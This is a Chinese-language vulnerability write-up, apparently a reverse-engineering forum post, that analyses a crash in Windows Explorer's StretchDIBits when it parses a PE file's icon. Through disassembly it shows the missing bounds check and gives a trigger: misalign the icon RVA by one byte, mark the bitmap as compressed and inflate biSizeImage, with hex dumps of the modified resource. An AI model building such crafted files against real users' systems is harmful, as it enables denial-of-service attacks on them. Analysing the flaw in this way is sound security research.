分析:
1.思路应该是explorer在解析PE的图标时发生崩溃,函数为StretchDIBits,这个函数是把DIB位图复制到
显示设备上,不过有两个参数要注意就是:
CONST VOID* lpBits
CONST BITMAPINFO* lpBitsInfo
它要解析位图结构对象,得到信息然后复制。
2.首先他先得到的位图大小:
77F1B0F6 56 push esi
77F1B0F7 E8 CD1F0200 call GdiGetBitmapBitsSize
3.这里BUG的要害在于函数复制之前:
77F1B105 F645 2C 03 test byte ptr [ebp+2C], 3
77F1B109 89B8 D0060000 mov dword ptr [eax+6D0], edi
77F1B10F 0F85 1F190100 jnz 77F2CA34
4.就是判断lpBits的地址有没有对齐。如果lpBits没有对齐就另申请一部分的空间根据位图的大小把位图
数据copy过去:
77F2CA34 64:A1 18000000 mov eax, dword ptr fs:[18]
77F2CA3A FF75 D4 push dword ptr [ebp-2C]
77F2CA3D 8B40 30 mov eax, dword ptr [eax+30]
77F2CA40 57 push edi
77F2CA41 FF70 18 push dword ptr [eax+18]
77F2CA44 FF15 A811F177 call dword ptr [<&ntdll.RtlAllocateHe>; ntdll.RtlAllocateHeap
77F2CA4A 3BC7 cmp eax, edi
77F2CA4C 8945 C4 mov dword ptr [ebp-3C], eax
77F2CA4F ^ 0F84 C0E6FEFF je 77F1B115
77F2CA55 8B4D D4 mov ecx, dword ptr [ebp-2C]
77F2CA58 8B75 2C mov esi, dword ptr [ebp+2C]
77F2CA5B 8BD1 mov edx, ecx
77F2CA5D C1E9 02 shr ecx, 2
77F2CA60 8BF8 mov edi, eax
77F2CA62 F3:A5 rep movs dword ptr es:[edi], dword p>
77F2CA64 8BCA mov ecx, edx
77F2CA66 83E1 03 and ecx, 3
77F2CA69 F3:A4 rep movs byte ptr es:[edi], byte ptr>
77F2CA6B 8B75 F0 mov esi, dword ptr [ebp-10]
77F2CA6E 8945 2C mov dword ptr [ebp+2C], eax
77F2CA71 33FF xor edi, edi
5.但是这里并没有检查源位图的真实区域的可读写大小。如果我们GdiGetBitmapBitsSize计算出来的大小
有足够大的话这里就会发生数据读取异常。
6.但是怎么保证lpBits的地址不是对齐的呢?尝试了12个小时终于出来了。就是修改图标的RVA使它的RVA
为不是对齐的(向前移一个字节即可)。然后把数据一一前移一下。
7.还有一个问题是位图数据大小如何控制,在BITMAPINFOHEADER有一个压缩成员biCompression,把它设
为1或2都可以(代表压缩),但是经过分析对应的还的改动象素位数
biCompression 1 biBitCount 8
biCompression 2 biBitCount 4
77F19B49 6A 03 push 3
77F19B4B 59 pop ecx
77F19B4C 3BC1 cmp eax, ecx ; eax compress
77F19B4E ^ 0F84 81F2FFFF je 77F18DD5
77F19B54 85C0 test eax, eax
77F19B56 0F85 FF1F0000 jnz 77F1BB5B
77F1BB5B 83F8 0A cmp eax, 0A ; eax compress
77F1BB5E 0F84 33C70100 je 77F38297
77F1BB64 83F8 02 cmp eax, 2
77F1BB67 74 5F je short 77F1BBC8
77F1BB69 83F8 0C cmp eax, 0C
77F1BB6C 74 5A je short 77F1BBC8
77F1BB6E 83F8 01 cmp eax, 1
77F1BB71 0F85 52C70100 jnz 77F382C9
在StretchDIBits里都是有判断的。
8.如果说BMP文件压缩成员biCompression有效的话,GdiGetBitmapBitsSize返回的是biSizeImage成员。
GdiGetBitmapBitsSize:
77F3D0FE 8B41 10 mov eax, dword ptr [ecx+10]
77F3D101 85C0 test eax, eax
77F3D103 74 0F je short 77F3D114
77F3D105 83F8 03 cmp eax, 3
77F3D108 74 0A je short 77F3D114
77F3D10A 83F8 0A cmp eax, 0A
77F3D10D 74 05 je short 77F3D114
77F3D10F 8B41 14 mov eax, dword ptr [ecx+14];这个就是biImageSize
77F3D112 EB 29 jmp short 77F3D13D
77F3D114 8B41 08 mov eax, dword ptr [ecx+8]
77F3D117 85C0 test eax, eax
77F3D119 7D 02 jge short 77F3D11D
77F3D11B F7D8 neg eax
77F3D11D 0FB751 0C movzx edx, word ptr [ecx+C]
77F3D121 8BF0 mov esi, eax
77F3D123 0FB741 0E movzx eax, word ptr [ecx+E]
77F3D127 0FAFC2 imul eax, edx
77F3D12A 0FAF41 04 imul eax, dword ptr [ecx+4]
77F3D12E 83C0 1F add eax, 1F
77F3D131 83E0 E0 and eax, FFFFFFE0
77F3D134 99 cdq
77F3D135 6A 08 push 8
77F3D137 59 pop ecx
77F3D138 F7F9 idiv ecx
77F3D13A 0FAFC6 imul eax, esi
77F3D13D 5E pop esi
77F3D13E 5D pop ebp
77F3D13F C2 0400 retn 4
所以说我们把BMP改成压缩文件并把biSizeImage改的超大即可@_@
PE:
RES ICON RVA: 0004FA80 -> 0004FA7F
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
0004BA80 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 (... ...@.......
0004BA90 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 ................
0004BAA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 ..............€.
0004BAB0 00 80 00 00 00 80 80 00 80 00 00 00 80 00 80 00 .€...€€.€...€.€.
0004BAC0 80 80 00 00 C0 C0 C0 00 80 80 80 00 00 00 FF 00 €€..ÀÀÀ.€€€...ÿ.
0004BAD0 00 FF 00 00 00 FF FF 00 FF 00 00 00 FF 00 FF 00 .ÿ...ÿÿ.ÿ...ÿ.ÿ.
0004BAE0 FF FF 00 00 FF FF FF 00 FF FF FF FF FF FF FF FF ÿÿ..ÿÿÿ.ÿÿÿÿÿÿÿÿ
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
0004BA70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 ...............(
0004BA80 00 00 00 20 00 00 00 40 00 00 00 01 00 08 00 01 ... ...@........
0004BA90 00 00 00 00 FF 00 00 00 00 00 00 00 00 00 00 00 ....ÿ...........
0004BAA0 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 .............€..
0004BAB0 80 00 00 00 80 80 00 80 00 00 00 80 00 80 00 80 €...€€.€...€.€.€
OK!
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)